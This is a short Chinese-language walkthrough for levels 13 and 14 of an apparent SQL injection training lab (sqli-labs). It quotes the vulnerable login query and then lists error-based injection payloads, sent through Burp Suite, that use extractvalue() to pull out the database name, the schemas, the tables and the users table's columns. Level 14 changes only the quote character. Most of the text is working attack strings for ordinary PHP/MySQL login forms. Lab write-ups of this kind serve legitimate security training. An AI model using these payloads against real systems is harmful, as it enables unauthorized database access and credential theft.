Lass-13
查找原SQL语句:$sql="SELECT username, password FROM users WHERE username=('$uname') and password=('$passwd') LIMIT 0,1"
这一题我们需要使用burp suite。
首先我们在username和password中随便输入一串数字或字母,然后进入抓包开始操作。
首先我们来对数据库名进行查询:
uname=1111') and extractvalue(1,concat('%',database())) --+
如下图所示:
可以看出数据库名为“security”
接着我们来继续查询数据库有哪些:
uname=1111') and extractvalue(1,concat('%',(select group_concat(schema_name) from information_schema.schemata))) --+
如下图所示:
其次来查看security数据库中所有的数据表:
uname=1111') and extractvalue(1,concat('%',(select group_concat(table_name) from information_schema.tables where table_schema='security'))) --+
如下图所示:
接着我们来显示users中的字段:
uname=1111') and extractvalue(1,concat('%',(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'))) --+
如图下图所示:
Lass-14
查找原SQL语句:$sql="SELECT username, password FROM users WHERE username=$uname and password=$passwd LIMIT 0,1"
与Less-13的语句对比可以知晓只需把uname=1111')改为?uname=1111"即可